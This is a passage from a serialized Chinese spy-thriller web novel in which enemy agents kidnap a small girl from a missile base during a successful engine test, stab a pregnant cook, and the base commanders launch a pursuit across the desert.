李桂华的额头冒出冷汗,掌心也沁出了湿意。她当然知道,对方会以甜甜为要挟,但她也在赌,赌对方不敢真的伤了甜甜。
“我赌你不敢伤她,否则,你今天也别想活着走出基地!”
“我不过是想让甜甜帮我一个小忙,李姐何必拔枪相向。”沈若文笑了笑,开出条件,“这样吧,你放下枪,护送我和甜甜走出基地,出去之后,我立刻把孩子交给你,如何?”
“做梦!”李桂华拇指扣开保险,咔嗒一声轻响,“我数三声,立刻放下孩子!否则,别怪我对你不客气!”
沈若华没有任何反应。
李桂华厉声:“一!”
就在两人僵持不下之际,门外突然传来一声惊呼:“你们在干什么!”
一个身影抢入门内,正是当初护送万洪辛等专家来到基地的勤务兵,吴浩。
他看到屋内情景,脸色瞬间变了:“李同志!沈记者!这……这是怎么回事?”
“吴浩!来得正好!”李桂华如见援兵,急声道,“沈若文是敌特!快把孩子抢过来!”
“什么?!”吴浩大吃一惊,立刻转向沈若文,“沈记者,你……”
“别废话!救人要紧!”李桂华催促道,手指紧紧扣着**,不敢有半分松懈。
“是!”吴浩应了一声,抬脚就向沈若文走去,“沈记者,放下孩子!”
他边说边向前迈步,看似要去夺人。然而,就在距离李桂华仅一步之遥时,异变再起!
吴浩猛地回身,动作快如猎豹,右手铁钳般扣住李桂华**的手腕,反向用力一扭!
“啊!”剧痛袭来,李桂华猝不及防,**脱手落下。
吴浩左手一抄接住枪,枪口直指李桂华,正要扣动**,沈若文急忙喝止:“别开枪!别惊动其他人!”
吴浩反应极快,手腕一翻,改为掌刀,重重劈在李桂华颈侧。李桂华闷哼一声,眼前一黑,软软倒地。
吴浩眼中闪过一丝冰冷的杀机,弯腰掐住李桂华的脖颈,就要下死手。沈若文忙拉住他:“别耽误时间,接应的人快到了,我们必须马上走,别节外生枝!”
吴浩狠狠瞪了一眼地上的李桂华,冷哼一声:“便宜她了!”
沈若文丢掉地上的拐杖,抱着甜甜的小身子,抬脚就走出营房门——她的脚踝早已恢复,此刻没有半分受伤的样子。连日来的拄拐慢行,不过是她演的一场戏。
吴浩握着枪跟在身后,警惕地打量着四周。
营区里空荡荡的,能走的人全去了水塘抢险,连个巡逻的战士都没有。两人避开正门,抱着孩子低头疾走,基地的院墙角落,早就被他们偷偷破坏出一个大洞,平日里用防水布仔细伪装着,不仔细看根本发现不了,这便是他们早就计划好的逃生路。
眼看离院墙的大洞不过百步之遥,一个熟悉的声音突然从侧面传来,带着几分疑惑:“沈记者?你这是干嘛去?”
沈若文的眉头猛地一蹙,心底暗骂一声倒霉,脚步顿住,转过身时,脸上已经堆起了恰到好处的笑容:“邢嫂,你怎么在这?”
来人正是邢玉秀,系着炊事班的蓝布围裙,刚解完手,正准备回炊事班帮忙,就瞧见两个身影鬼鬼祟祟地走向后院院墙。本来也没在意,可那婀娜的身影看着眼熟,定睛一瞧,竟是这些天一直养伤的沈记者,她便忍不住出声询问。
邢玉秀的目光扫过沈若文的肩头,见甜甜闭着眼睛靠在她肩上,一脸疑惑:“甜甜这是睡着了?你怎么不送她回
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营房啊,往后院走干什么?”
“嫂子好巧。”沈若文面上不动声色,笑得自然,“我和甜甜刚才在这附近玩,不小心把手绢弄丢了,刚才被她缠着没空找,这会儿她刚睡着,我就寻思过来瞧瞧,找到了就抱她回营房。”
她说着,伸手指向脚边的地面:“瞧,手绢不就在那吗?”
邢玉秀顺着她指的方向看去,果然见脚边不远处掉着一块碎花手绢,可不知为何,她心里总觉得怪怪的,说不出的不对劲,像有根刺扎着,让她浑身不自在。
“嫂子你来得正好。”沈若文看出她的警惕,忙笑着说,“我抱着孩子不方便弯腰,你帮我捡起来呗?”
换做平时,邢玉秀为人热情,早就上前帮忙了,可今天她偏生了警惕,脚步没动,看着沈若文道:“妹子,你把孩子给我抱着,我弯腰不方便,你来捡吧。”
“弯腰不方便?”沈若文目光在她腹部微妙地一扫,忽然笑道,“嫂子,你是不是……有了?”
邢玉秀一怔。她怀孕时间不长,还没显怀,所以也没大肆张扬,主要是不想搞特殊化,还想坚持着多干点活。
基地里知道实情的人不多。没想到被沈若文猜到了。
“是啊,刚三个多月。”
“那可得当心身子。”沈若文笑得愈发温柔,一边说一边逼近,“嫂子你害喜厉害吗?想吃酸的还是辣的?”
随着距离拉近,邢玉秀脑中那根紧绷的弦骤然崩断,终于后知后觉地感到了危险!
她猛地后退一步,厉声喝道:“站住!”
她终于知道哪里不对了!
“你的拐杖呢?你的脚不是伤了吗?!”
今早洗漱时,沈若文还拄着拐杖,屋里屋外都是自己帮衬,怎么一转眼就好了?
“你……你是特务!”邢玉秀脸色惨白,惊恐地尖叫起来,“快来人啊——!有特——”
“务”字还未出口,一旁的吴浩已如恶虎扑食般猛地冲上!左手死死捂住邢玉秀的嘴,右手寒光一闪,一柄**毫无征兆地狠狠捅进了她的胸膛!
“呃——!”邢玉秀双眼猛然瞪大,剧痛和窒息让她浑身痉挛,难以置信地看着眼前凶相毕露的吴浩。
吴浩眼神冷酷,手腕一拧,**拔出。鲜血瞬间浸透了邢玉秀胸前的衣裳。他松开手,邢玉秀的身体晃了晃,像一截失去支撑的木桩,仰面栽倒在地。
第65章 敌特凶残,甜甜失踪!发动机试车传捷报
“你干什么!”沈若文见状,大吃一惊,紧接着一股滔天的愤怒涌上心头,抬手就狠狠甩了吴浩一记耳光!
“啪——!”
这一耳光又重又狠,吴浩的脸瞬间被扇得歪向一边,脸上迅速浮现出清晰的掌印。
“她怀孕了!她怀着孩子啊!打晕就行了,为什么要杀她!”
沈若文嘶声怒吼,眼眶微微发红,邢玉秀这些天对她的照顾,如走马灯般在脑海中闪过——
她脚伤“卧床”时,是邢玉秀端茶送水,把分到的沙棘果、白面馒头、蛋花汤匀给她;
是邢玉秀怕她不方便,连她的袜子和衣服都帮着洗;
是邢玉秀笑着说“妹子你别客气,在这就跟在家一样”。
那个热情、善良、总把笑容挂在脸上的炊事班嫂子,那个刚怀了孩子、满心期待着宝宝出生的女人,此刻却倒在血泊里!
一尸两命!
“我看你是疯了!”吴浩擦了擦嘴角的血丝,抬手捂着高肿的脸颊。“让她喊出声,我们都得死在这儿”
他眼中充斥着怒火,“你是不是被这帮大夏人洗脑了?忘了自己是干什么的了?”
“那是我的事!”沈若文怒视着他,胸口剧烈起伏,“我是你的上级!没有我的命令,谁准你擅**人?!”
“上级?”吴浩冷笑,“沈若文,别以为你装模作样对他们好,他们就会把你当自己人!我看你是忘了‘灰鹊’的纪律了。对敌仁慈,就是对自己残忍。你再这样感情用事,组织第一个清除的就是你!”
“灰鹊”二字像一道冰锥刺入沈若文心底,让她瞬间浑身一冷,也浇灭了她心底那丝刚刚萌芽的柔软。
她深吸一口气,强行压下翻涌的情绪,不再看地上的邢玉秀,抱紧怀中的甜甜,转身朝墙洞疾步走去。
“快走!”
吴浩狠狠瞪了一眼沈若文背影,迅速跟上。
到了院墙下,吴浩扯开伪装的防水布,露出那个黑漆漆的大洞。他先爬出去,伸手想接甜甜:“把孩子给我。”
沈若文没理他,双手紧紧搂着甜甜的小身子,蹲下身艰难地从洞里爬出去,额头不小心蹭在砖墙上,擦出一道浅浅的伤口。
洞外,早已停着一辆吉普车,车牌是伪装的军用牌照,一名穿着基地同款军装的男人靠在车边,警惕地打量着四周,见他们出来,立刻招了招手,低声道:“快上车。”
吴浩拉开车门,沈若文抱着甜甜坐进后座,男人也立刻跳上副驾驶,引擎一声轰鸣,吉普车猛地掉头,向一条偏僻的沙土路疾驰而去。
“高组长呢?”沈若文问,声音已恢复平静。
“他需要善后,拖住基地的人。我们按计划到第一汇合点,等候组织下一步指令。”副驾驶座上的男人回答,语气平淡。
他透过后视镜看了一眼沈若文怀中的孩子,“除了这小孩,没弄到别的?”
“基地戒备太严,若非高组长制造‘管涌’调虎离山,连这孩子都难到手。”沈若文道。
“为什么不弄醒她?”
吴浩伸手想去摇晃甜甜,却被沈若文拦住:“别动她。这孩子体质特殊,万一惊醒反抗,对我们不利。让她睡吧。”
沈若文低头看着甜甜恬静的睡颜,想起小姑娘天真烂漫的模样,心底五味杂陈。“等回了总部,把她交给上峰,我们的任务就算完成了。”
就在这时,身后基地的方向传来了激昂的广播声,穿透云霄,即便隔着车窗也能听得真切:
“同志们!告诉大家一个振奋人心的好消息!‘长剑’工程首次发动机全系统地面试车,已于今日十时十一分取得圆满成功!这是我国国防科技的重大突破!”
“让我们铭记这一历史时刻!感谢所有参试人员的无私奉献!人民不会忘记!祖国不会忘记!让我们继续奋斗,争取早日实现……”
广播声逐渐模糊,终被车轮卷起的风沙吞没。
“**!”吴浩狠狠捶了一下座椅扶手,满脸狰狞,“还是让他们搞成了!”
副驾驶的男子却笑了笑,神情淡漠:“这只是**长征第一步。一枚**上天,还需要经历无数次试验。我们有的是时间,急什么。”
实验场。
巨大的发动机在试车台上昂然矗立,如同沉睡的钢铁巨兽。所有科研骨干、技术人员、保障人员都屏息凝神,目光聚焦在监控仪表盘和那扇厚重的防弹观察窗上。
刘司令、王总师、钱教授等核心领导更是站在最前沿,脸上写满凝重与肃然。
“各岗位最后检查!”试车总指挥的声音通过扩音器传来。
“燃料供给系统正常!”
“氧化剂加压正常!”
“冷却循环正常!”
“数据链路正常!”
“报告司令,一切准备就绪,请求试车!”试车总指挥抬手敬礼。
刘司令深吸一口气,缓缓举起右手,回复了一个军礼。随后,坚定有力地向下一挥。
“开始!”
“是!各单位进入待命状态!”
实验场瞬间进入最高戒备,技术人员全部退至安全区域。
“倒计时一分钟!”
监测屏幕上的各项数据开始实时跳动,红色的倒计时开始读数:59、58、57……
众
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人或双手紧握,或目不转睛,或屏息静气。
“十、九、……七、六……”
“三!二!一!”
“点火!”随着最后一声指令,操作员猛地按下红色按钮。
嗡——
刹那间,发动机尾部喷出幽蓝色火焰,瞬间拉长、膨胀,最终转化为灼目刺眼的纯白烈焰!
狂野的吼声穿透厚厚的掩体墙壁,撞击着每个人的耳膜和心脏。
即使隔着特制玻璃,也能让人感到扑面而来的震撼感。
数据屏上,代表着推力、温度、压力等多条数值的曲线开始剧烈跳动,然后迅速爬升。
“初段正常!”
“过渡态正常!”
“推力达到预定百分之五十……七十……九十!”
烈焰稳定地咆哮着,强大的推力通过基座传导开来,震得人脚底微微发麻。
钱教授身体前倾,几乎要贴到观察窗上,布满血丝的双眼几乎眨也不眨。
王总设计师背在身后的手,不知何时已紧握成拳。
“百分之百!全工况运行!”监控员的声音高亢地响起。
最难熬的十分钟长程考核开始。
每一分,每一秒,都被拉得无比漫长。
仪表盘上,曲线稳定在高位,轰鸣声持续不断,成为观察室内唯一的背景音。
有人开始下意识地捂住胸口。
一分钟,两分钟,三分钟……
时间从未如此缓慢,也从未如此惊心动魄。
第七分钟,钱教授的眉头几不可察地蹙了一下。几乎同时,监控员报告:“燃烧室壁温,有约千分之二的微小波动,仍在安全区域。”
指挥员紧盯着曲线:“继续观察,保持工况。”
波动持续了十几秒,并未扩大,反而渐渐收敛,重新归于平稳的曲线。钱教授缓缓放松了肩背,轻轻吐出一口浊气。
第九分钟,烈焰依旧稳定喷吐,毫无衰竭迹象。
各项数据曲线稳如磐石。
“十、九、八……”
这一次的倒计时,不再令人恐惧,反而充满了某种希冀的期待。
“……三、二、一!”
“发动机关机!”
随着指令释出,操作员按出最后的按钮。
咆哮的白色巨兽猛的收声,炽烈的光焰慢慢熄灭,最终恢复平静。
唯有巨大的惯性声浪,似乎还在每个人耳膜之中回荡不已。结束了。
整个观察室内陷入一片短暂的死寂。
随即,监控席位上,爆发出第一声呐喊:“全部参数达标!试车,圆满成功!”
“成功了——!!!”
“我们成功了!!!”
第66章 惊天遽变!三道死局压顶,老司令当场暴怒!
紧绷了许久的情绪,如同被压抑的火山般轰然爆发!观察室内瞬间被狂喜的浪潮淹没!
科研人员们互相拥抱、击掌,激动得热泪盈眶。王总设计师和钱教授紧紧握手,两人都红了眼眶。
白旅长紧握的拳头终于松开,掌心里全是攥紧的汗,他转过身,看向刘司令。
刘司令依旧站在那里,背对着狂欢的人群,面朝着观察窗。他那绷紧的身子,直到这时,才微微地佝偻起来,变得像是一位普通的老人,又像是卸下了千斤重担。
许久,他抬起手,对着身后的警卫员挥了挥。
警卫员立刻抓起专用通讯电话:“接基地总机!”
“这里是实验场!通告全基地:原型发动机首次全工况长程试车圆满成功!重复,圆满成功!”
消息通过电波,瞬间传回五公里外的基地区。彼时所有人都在猜想,得到这个消息的基地留守人员,将会陷入怎样的一片欢腾海洋。
而观察室内庆祝的氛围仍在继续,人们互相拥抱、祝贺,畅想着接下来的工作。所有的阴霾似乎已经被那持续十分钟的烈焰彻底烧尽了。
就在这时,刚刚被放下的那部红色的、直通基地的专线电话,再次毫无预兆地尖啸起来。
“铃铃铃——!”
刺耳的声音瞬间划破了所有的欢腾。
距离电话最近的警卫员条件反射般抓起了听筒:“这里是……”
他的声音戛然而止,脸上的兴奋和血色,如同退潮般一秒消失,取而代之的是一片骇人的惨白。他猛地转头,看向刘司令,嘴唇哆嗦着,眼神里充满了难以置信的惊恐。
“司令……基地急电……”他只说了几个字,声音便不由自主地哽住。
刘司令脸上的笑容瞬间冻结,眉头一拧,大步走了过去。
他抬手夺过听筒:“我是刘振邦!讲!”
听筒里传来的是战士嘶哑、几乎破碎的声音:
“……司令!甜甜……甜甜被沈若文和吴浩劫持了!他们打晕了李桂华同志,刺伤了邢玉秀同志!邢玉秀伤势极重,生命垂危……”
对方每说一句,刘司令的心便沉下一分。
而监控室里的所有人更是惊得呆了,所有人僵在原地,眼睛里盛满了震惊、恐惧,以及出离的愤怒。
“李桂华枪法很好,”他喃喃说,“而且,她一直在暗中保护甜甜……”
“是吴浩?”白旅长周身冰凉,“那个勤务兵?没想到,他隐藏得这么深?”
“没有吴浩这个内应,沈若文得不了手!”战士悲怆地怒吼,“李桂华同志完全没防备!”
“不惜一切代价,全力抢救邢玉秀!”刘司令强行压下翻涌的怒火,“通知所有能调动的人员,立刻……”
“司令!”话音未落,又被战士急切打断,“管网工程发生险情,水流失控,现在还没得到控制!请求支援!”
观察室内鸦雀无声。
三道生死攸关的坎,几乎同时摆在他们面前——
救邢玉秀,找甜甜,抢修管涌险情。
每一道,都要和时间赛跑,每一道都刻不容缓,必须全力以赴!
不,还有第四道,核心科研人员不能撤出实验场,他们必须立刻进行发动机状态确认、系统安全归零,并完整记录下这来之不易的第一手试车数据。
这意味着,能调用的人力又要缩减近三成。
刘司令的眉毛拧成一个死结,额角青筋爆起。
大掌死死攥着听筒,力道大得仿佛要将话筒捏碎。
就在这时——
“梁团!你冷静——!!!”
观察室外传来一声惊呼,随即是混乱而急促的脚步声。
白旅长反应最快,一把拉开厚重的铁门,如离弦之箭般冲了出去。
迎面便撞上正被宋大壮和几名战士死死抱住的梁哲。
此刻的梁哲,如同一头被彻底激怒、失去幼崽的困兽,眼中一片血红,周身散发着骇人的戾气与绝望,仿佛要被无形的恨意吞噬。
他在战士们的束缚中疯狂挣扎,带着破音的嘶吼从喉咙深处迸发:“放开我——!你们放开我——!”
“梁哲!”白旅长一个箭步跨过去,双手如铁钳般重重按在他的肩上,试图将他从失控的边缘拉回
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,“你看着我!你是一名军人!现在还不是崩溃的时候!”
“旅长,让我去!”梁哲像是见到了救命的稻草,声音凄厉,“我能找到孩子!”
“甜甜现在去向不明,盲目冲动只会把自己搭进去!我们必须部署周密!”
“我等不了!”梁哲几乎要崩溃,浑身控制不住地发抖,只要一想到甜甜落入穷凶极恶的敌特手中,他的心就像被生生撕裂,“那是我女儿!她才三岁啊……”
“我一秒钟也等不了!我要去救她!”
沈若文和吴浩连怀孕的邢玉秀都能下狠手,对一个天真无邪的稚子,又怎会留有半分人性?
只要想到甜甜可能遭受的**,梁哲就恨不得立刻撕裂那些罪人,哪怕同归于尽!
“她在叫爸爸!你们听见了吗?她在叫我爸爸啊!”梁哲的声音里混着哭腔,悲痛欲绝,“她就我这么一个亲人了!要是连我都保护不了她,我活着还有什么意义?!”
“谁说她只有你一个亲人!”
随后追来的刘司令发出一声雷霆般的怒吼,老司令一生戎马,历经无数生死考验,即便在枪林弹雨中也始终保持着军人的冷静,但现在,他也出离愤怒了!
“甜甜也是老子的孙女!亲孙女!动老子孙女的,甭管是谁,老子都要把他大卸八块!!!”
经历过战场厮杀的血性在这一刻被激发,白旅长重重一跺脚,“梁哲!**还是个军人!要是有种,就跟我们并肩作战,像个猎手一样把这帮杂碎揪出来,而不是在这里不带脑子地瞎闯!你明不明白?!”
宋大壮抹了把眼角的湿意,上前一步大声请战:“司令,下命令吧!我请求加入第一梯队,就算挖地三尺,也要把孩子找回来!”
“现在不是意气用事的时候!”钱教授始终保持着高度理性,尽管双手因愤怒而发抖,声音却依旧沉稳,“敌人布下这么大的局,就是要让我们首尾难顾。”
他看向刘司令,沉声道:“司令,管网险情偏偏在这个时候爆发,时机太巧了。”
刘司令猛地回头:“你什么意思?”
第67章 戈壁追凶!生死时速!吴浩要掌掴甜甜!
钱教授与王总设计师交换了一个凝重的眼神。
王总设计师推推眼镜,补充道:“万洪辛那边始终拒不招供,郑宏教授也只查出重****,没找到其他有价值的线索。而目前负责管网工程的,正是高衍舟。”
一句话提醒了刘司令,大家都不是傻子,刘司令立刻道:“接省医院,联系郑宏。”
“白树勇,把咱们这里备用的救护车派回基地,车上有先进的救护设备,用来全力抢救邢玉秀,务必把孩子和大人都保住。”
“司令,邢玉秀的爱人……”
“连长高栩?让他一并回去,告诉他,有什么困难,组织全给他解决,不要有任何顾虑,只管提!”
“是!”
“宋大壮!”
“到!”
“以我的名义,给武警部队打电话,封锁方圆五十公里所有路口!把空军直升机派出来,在天上给老子搜!”
“明白!”
“至于你,梁哲!”他走上前,盯着后者失魂落魄的眼睛,“你必须冷静!想想甜甜!她现在最需要的是一个清醒的军人,而不是一个冲动的父亲!”
在这样层层的安抚中,梁哲的情绪终于从巨大的悲恸中冷静下来,他喘着粗气,双手抱住头,试图控制微微颤抖的身体。“报告司令,”第一道指令有了回应,“省医院回电,郑宏教授病情已经得到控制,他知道险情后非常激动,申请要回基地帮助抢险。”
刘司令微一沉吟,“批准这个请求,调一辆直升机去接人,带好医疗人员,哦对,顺便再给我找省医院最好的妇产科和外科医生,一并都给接回来。”
“至于高衍舟那边……”
“司令,我觉得高衍舟需要控制。”钱教授提议,“如果这段时间他严格按照方案施工,不会出现这么大的纰漏。不能排除他在里面做了手脚。”
刘司令点点头,“同意,但要悄悄进行,不能惊动他,免得打草惊蛇。”
“司令,武警部队已经奉命出动,空军直升机也接到指令,略过一切手续,五分钟之后可以起飞。”
“好!”刘司令双掌一拍,“通知基地部队,不惜一切代价搜索人质!如果发现可疑目标,在确保人质安全的前提下,允许使用武力!
“实验场这边,交由钱教授和王总师善后。我亲自带队,回基地!”
“是!”
车队在戈壁滩上飞驰,卷起漫天尘土。
车厢内,气氛凝重得令人窒息。梁哲紧紧盯着窗外,嘴唇紧抿,一言不发。
白旅长则不停地通过对讲机询问基地的最新情况,但得到的消息并不乐观。
“……管涌还没有完全堵住,现在正在组织人手加固堤坝……”
“李桂华同志已经苏醒,只是手腕受伤,人没事。”
“邢玉秀同志……仍在抢救,但失血过多,需要输血,省医院的直升机上有设备。”
“沈若文和吴浩驾驶一辆伪装军用吉普车,携带人质向西北方向逃窜,具体路线不明……”
“西北方向……”宋大壮眉头紧锁,在地图上比画着,“那边地形复杂,有雅丹地貌,便于隐蔽。”
“他们选择这个方向,显然是有预谋的,”刘司令目光深??地望着远方,“联络武警部队,要谨防对方派人接应。”
梁哲猛地抬头,声音沙哑:“他们会不会……把甜甜带到境外去?或者……藏在哪个隐秘的地方?”
“不排除这种可能。”白旅长沉声道,“所以我们必须快!要在他们越过边境线之前,或者找到新的藏身之处之前,把他们截下来!”
车队在戈壁滩上飞驰,与死神赛跑。每个人心中都只有一个念头:快一点,再快一点!一定要救出甜甜!一定要抓住那两个畜生!
漫天黄沙,卷起一道浊幕,飞驰的车轮在沙地上犁出滚滚尘烟,朝着西北方向一路狂奔。
车身在连绵的沙丘间剧烈颠簸,甜甜小小的身躯随之不住晃动,即便在昏迷中,稚嫩的眉头也难受地蹙着。
突然,车辆猛地冲上一个高坡,又失重般落下——“哐当!”剧烈的震动让车内所有人狠狠一晃。甜甜的头不受控制地向后仰去,正撞在吴浩的手臂上。
“小畜生!
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”吴浩勃然大怒,抬手就朝甜甜脸上掴去。
这一巴掌要是打实了,孩子脸颊非得肿起老高。沈若文眼疾手快,瞬间将甜甜往怀里一揽。掌风险险擦过,只扫到了小姑娘的发辫。
“唔……”昏睡中的甜甜下意识地缩了缩脖子,发出一声细弱的呜咽。
吴浩一掌落空,脸色阴沉如水,瞪向沈若文:“你什么意思?”
沈若文面色同样不善,冷声道:"吴浩,注意你的态度!我是你的上级,有这么跟上级说话的吗?"
“你护着这个小崽子?”
“我犯不上护着,但是,你也别无缘无故发疯。上峰要的是全须全尾的目标,这孩子要是被你打坏了,我看你怎么交代!”
“呵,得了吧。”吴浩半点不买账,积压多时的怨气终于爆发。此次任务,他被安排在最不起眼的勤务兵位置上,早已憋了一肚子火。
“沈副组长,你不就是看上这丫头的爹了,才处处护着她?怎么,难不成还想找机会把人放了,去讨好那个姓梁的团长?”
“你说什么?!”
沈若文勃然大怒,杏眼圆睁,抬手就要扇吴浩耳光。
吴浩反应极快,闪电般出手扣住她的手腕。"沈若文,你还想打我?看在你军衔比我高一级的份上,我不跟你计较,但你别欺人太甚,以为我真怕了你。"
“你——”
沈若文还要发作,副驾驶座上的男人轻咳一声:"好了,都是自己人,吵什么。"
他转过头,斜睨了吴浩一眼:"小吴,别坏了规矩。沈副组长毕竟比你高半级,注意分寸。"
吴浩对这个男人颇为忌惮,冷哼一声,不再言语。
男人又看向沈若文:"沈副组长,你潜伏多日,辛苦了。站长对你的表现很认可,只要这次任务圆满完成,相信晋级是指日可待的。"
沈若文右手迅速抬起,敬了个标准的军礼:“感谢站长栽培,感谢严副站长信任!”
被称作严副站长的严世君点点头,也回敬了一个军礼。
吴浩在一旁冷眼旁观,嘴角撇了撇,终究没再吭声。
第68章 心疼!甜甜身陷虎穴,遭遇重重危机!
汽车继续前行,前方出现两座高耸的沙丘。随着车辆深入,越来越多的土墩映入眼帘。
这些历经千年风蚀的土墩呈现出雉堞状、蘑菇状的奇特造型,远远望去,苍凉而壮观,透着一股原始的美感。
汽车毫不犹豫地驶入这片迷宫般的土墩群,在蜿蜒曲折的路径中穿梭。
风声穿过缝隙,发出诡异莫测的声响,仿佛有一支无形的幽灵兵团在暗中潜伏,让人不寒而栗。
沈若文紧了紧身上的外套,掩饰住内心的寒意。她低头,察觉怀里的甜甜在轻微地颤抖。
当着吴浩的面,她不能表现得太明显,只能不动声色地将上半身微微前倾,尽量用身体为小女孩遮挡刺骨的寒风。
当这片“魔鬼城”终于被甩在身后时,前方隐约显露出一段残破的土墙遗迹,像是某个古老王朝被遗忘的足迹,孤零零地矗立在荒漠尽头。
司机放慢车速,低声请示:“长官,没看到仙人掌标记,是否按计划进入?”
严世君点了点头:“没有信号,代表安全。进。”
吉普车缓缓驶进断壁残垣,最终停在了一堵看似普通的矮墙前。
这堵墙约莫一人多高,墙面布满裂纹,还长着不少耐旱的骆驼刺,与周围的残垣融为一体,毫无特殊之处。
严世君推门下车,走到矮墙前,弯腰拨开墙根处的几丛骆驼刺。
只见底下藏着一块不起眼的青石板,石板边缘与墙体缝隙严丝合缝,上面还覆盖着一层薄薄的沙土,显然是经过精心伪装的。
他左右张望了一眼,确认四周无人,才伸手用力将青石板掀开,露出一个黑漆漆的洞口。
一股潮湿的冷气瞬间从洞口涌出,与外面干燥的戈壁气候形成鲜明对比。
“进去吧。”他回头对车内众人说了一句,率先弯腰钻进了洞口。
吴浩紧随其后,临进洞前还不忘警惕地扫视了一圈戈壁滩,确认没有异常后才弯腰进入。
沈若文抱着甜甜,小心翼翼地挪动身子下车。
她低头看了看怀中小姑娘,小家伙不知何时皱起了小眉头,呼吸微微急促,想来是洞口的冷气让她很不舒服。
她轻轻拍了拍甜甜的后背安抚着,随后弯腰钻进洞口。
洞口内部是一条狭窄的通道,仅容一人通行,通道两侧的墙壁粗糙坚硬,显然是人工开凿后又用沙石加固过的。
走了约莫十几米,通道突然转弯,前方的光线渐渐亮了起来。转过弯后,空间豁然开朗,竟是一处不大的地下石室。
石室里站着两个穿着便服的男人,见到他们进来,立刻上前一步,压低声音问道:“顺利吗?目标带来了?”
严世君点了点头,指了指沈若文怀里的甜甜:“人带来了,基地那边暂时没发现异常,高组长还在善后。”
沈若文抱着甜甜,默默走到石室角落的一张石凳旁坐下。
她环顾四周,发现这处潜伏点远比想象中隐蔽——
入口借助天然残垣伪装,通道狭窄且多转折,石室顶部还铺着厚厚的沙土和杂草。
就算从上空俯瞰,也只会以为是普通的戈壁遗迹,根本不会想到地下藏着玄机。
“把这小崽子带到里面看管起来,别出什么差错。”
吴浩指了指甜甜,对其中一个高个男人说道,语气里依旧带着不耐烦。
沈若文立刻抬头阻止:“等等,她还在昏迷,里间阴暗潮湿,容易着凉。就把她放在这里,我来看着。”
她担心甜甜单独待在陌生环境里会出事,更怕吴浩暗中对甜甜下手。
“你?”吴浩挑眉,刚想反驳,严世君却先开了口:“就按沈副组长说的办。这孩子是重要目标,不能有任何闪失,让沈副组长看着,也更稳妥。”
吴浩见严世君发了话,皱了皱眉,没再坚持。
石室里的几人开始低声交谈,高个男人道:“副站长,咱们虽然抓到关键目标,但对基地没有形成显著破坏,还让他们完成了试车,站长对此很不满意。”
“站长有新安排?”
“我们已经完成了**的布设,只要对方追过来踏
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入设计好的雷区,就会引发**,保管把他们炸得精光。”
“万一追来的人少呢?”
“放心吧,高组长经过这段时间的摸排,加上沈副组长协助,一致认为这小东西是基地的宝贝疙瘩,只要抓住她,基地的人一定会全部出动。”
“好,要是他们实在找不到,咱们就抛点饵,保证让他们乖乖上钩。”严世君冷笑。
“副站长英明。”
“接下来,还得利用这小丫头的能力。要是她能画出实验场的武装分布图,咱们就能趁机摸进实验场,把他们的设备全炸了。”
吴浩就在等他这句话,立刻应道:“我这就把她弄醒。”
他转头逼近沈若文,嘴角扯出一丝狞笑,“沈副组长,把孩子交出来吧。”
沈若文心头一沉,急忙道:“副站长,梁甜甜不是普通小孩,我们不如等待指示,把孩子交给上峰处理。”
吴浩冷笑:“沈副组长,我看你是昏了头了。就算她脑子灵光,在我们几个人手上,还能让她翻出天去。废话少说,把她给我!”
说着一把掐住甜甜的后领,像拎一件破布似的拽了过去。
沈若文虽不情愿,却也清楚,这一步早晚躲不过去。
一盆凉水泼在甜甜的小脸上,小姑娘被冻得一个激凌,懵懵懂懂地睁开了眼睛。
眼前站着几个面相凶恶的男人。
小姑娘对危险的感知是天生的,她几乎是在刹那间发现,这几个人全都不怀好意,都是大坏人!
当她目光转过,看到了一旁坐着的沈若文,先是吃了一惊,随后像是见到了希望的稻草,立刻迈着小短腿扑过去。
“沈阿姨——”
人还没到近处,吴浩猛地揪住小姑娘的衣领,将她小小身子拎起来,重重往地上一摔。
“哇……”
甜甜被这一下摔得眼前金星乱冒,小姑娘还从没受过这种委屈,当即放声大哭起来。
沈若文下意识想站起身,却又强行按捺住,因为她察觉到,严世君的目光正冷冷地扫向自己。
第69章 **威胁!甜甜硬刚敌特分子,绝不当叛徒!
“闭嘴!”
吴浩抬脚就往甜甜身上踢去,小姑娘像个没了方向的小皮球,骨碌碌滚出老远,痛得连哭声都咽了回去。
这时她才彻底明白,自己被坏人抓了!
这里没有爸爸,没有刘爷爷、白爷爷,也没有宋叔叔,只有这些凶神恶煞的坏人!
她好恨他们!
“小东西,你要不是哑巴,就乖乖把实验场的地图画出来!少画一笔,老子扒了你的皮!”吴浩恶狠狠地吼道。
实验场?
甜甜捂着疼得发紧的小肚子,紧张地琢磨着坏人的话。画地图?这是什么意思?
一瞬间,她想明白了——坏人是想让她当叛徒!
妈妈早就告诉过她,绝对不能当叛徒,更不能出卖基地里的爷爷和叔叔们!
“甜甜不画!”
小姑娘坐在地上,小脸疼得煞白,却倔强地仰着头,大眼睛里满是怒火。
“你们都是坏人!我爸爸一定会把你们都抓起来!”
“你爸爸?”吴浩嗤笑一声,伸手就去抓甜甜,“老子先把你抓了,看他能怎么样!”
甜甜瞥见他伸过来的大手,吓得往旁边一滚,哭喊着:“沈阿姨快救我!”
沈若文的脸颊肌肉微微抽搐,却装作没听见,眼风都没动一下。
“沈阿姨!”
甜甜不死心。沈阿姨以前对她那么好,带她做游戏、讲故事,怎么现在眼睁睁看着坏人欺负她,连管都不管?
她哪里知道,沈若文从见到她的第一天起,就暗怀心机。街边的小混混是她雇的,抢包的戏码是她精心安排的,所做的一切,都是为了接近梁哲父女,早日顺利混入基地。
可这些阴谋诡计,一个小孩子哪里能懂?她只知道,坏人马上就要抓住她了,而曾经对她很好的沈阿姨,却始终无动于衷,看都不看自己。
“沈……”
她刚喊了一个字,脚踝就被吴浩死死抓住。吴浩像提小鸡似的把她倒拎起来,甜甜大头朝下,吓得哇哇大哭。
“坏人!放开我……放……唔唔……哇……”
“说!到底画不画地图?”吴浩厉声逼问。
“不……就不……”甜甜哭得上气不接下气,大头朝下的姿势让她头晕目眩,可她牢牢记着爸爸的话,绝不能向敌人投降,更不能做叛徒。
爸爸,甜甜是小勇士,一定不会给你丢脸的!
小家伙的脸涨得通红,泪水混着冷汗往下淌,却依旧梗着脖子不松口。
“你个小东西!”
吴浩勃然大怒,抓起甜甜就要往地上摔。
就在这时,严世君轻咳了一声,伸手从他手里接过甜甜,抱进了怀里。
甜甜被憋得脸色由红转紫,一放下就拼命咳嗽起来。
严世君一边轻轻拍她的后背,一边拿起桌上的一只搪瓷缸子,里面装着半碗生碱水。
“乖,喝点水,顺顺气。”
甜甜瞥了一眼他脸上挂着的温和笑容,使劲把小脸一扭,鼻子里重重哼了一声。
